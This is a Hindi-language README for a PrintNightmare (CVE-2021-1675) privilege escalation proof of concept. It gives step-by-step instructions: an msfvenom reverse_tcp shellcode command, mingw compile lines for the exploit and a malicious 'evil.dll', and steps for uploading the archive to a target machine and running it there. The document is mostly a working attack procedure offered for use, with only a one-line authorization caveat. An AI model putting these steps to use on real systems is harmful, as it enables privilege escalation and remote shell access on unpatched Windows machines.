PrintNightmare स्थानीय विशेषाधिकार वृद्धि PoC

src/nightmare.cpp: CVE-2021-1675 का शोषण करने और दुर्भावनापूर्ण dll स्थापित करके सिस्टम एक्सेस प्राप्त करने के लिए सोर्स कोड src/payload-dll.cpp: एंट्री फ़ंक्शन में दुर्भावनापूर्ण शेलकोड वाले dll के लिए सोर्स कोड

!!केवल उन सर्वरों के विरुद्ध उपयोग करें जिन पर आपके पास परीक्षण करने की अनुमति है

सारांश

CVE-2021-1675 Microsoft Windows की Print Spooler Service में एक कमजोरी है जो हमलावर को SeLoadDriverPrivilege जांच को बायपास करने की अनुमति देती है। इसका उपयोग लक्षित मशीन पर एक दुर्भावनापूर्ण DLL स्थापित करके विशेषाधिकार वृद्धि प्राप्त करने के लिए किया जा सकता है, जो शेलकोड को कॉल करता है या रिवर्स शेल कनेक्शन स्थापित करने के लिए Window API का उपयोग करता है। जून 8, 2021 से पहले के Windows 10/8/Server 2008/Server 2012 के संस्करण प्रभावित हैं।

POC

1. Git रेपो डाउनलोड या क्लोन करें
2. c में उपयुक्त पेलोड उत्पन्न करने के लिए msfvenom का उपयोग करें $ msfvenom -p windows/shell/reverse_tcp EXITFUNC=THREAD LHOST=127.0.0.1 LPORT=4444 -f c
3. msfvenom के आउटपुट को payload-dll.cpp में वहां पेस्ट करें जहां 'change me' लिखा है
4. मुख्य निष्पादन योग्य संकलित करें x86_64-w64-mingw32-g++-win32 -o ./src/nightmare.o -c -g -Wall ./src/nightmare.cpp x86_64-w64-mingw32-g++-win32 -o ./bin/PrintNightmareLPE.exe ./src/nightmare.o -lws2_32 -static-libgcc -static-libstdc++ -lole32 -lwinspool
5. dll संकलित करें x86_64-w64-mingw32-g++ src/payload-dll.cpp -lws2_32 -o lib/evil.dll -shared
6. exe और dll को संग्रहित करें, फिर संग्रह को अपनी लक्षित मशीन पर अपलोड करने का तरीका खोजें zip ./bin/PrinterNightmareLPE.exe ./lib/
7. एक बार संग्रह लक्षित Windows मशीन पर आ जाए, तो उसे निकालें
8. evil.dll को c:\windows\temp\evil.dll पर ले जाएं
9. PrintNightmareLPE.exe चलाएं

नोट्स

• यदि सब कुछ ठीक से काम कर रहा है तो शोषण Windows के प्रिंटर ड्राइवरों के माध्यम से पुनरावृत्ति करेगा और परिणाम प्रिंट करेगा
• आप PrintNightmareLPE.exe द्वारा evil.dll को लोड करने का फ़ाइलपथ सोर्स कोड के अंदर से बदल सकते हैं
• वर्तमान में दुर्भावनापूर्ण dll Proof-of-Concept के रूप में केवल calc.exe लोड करता है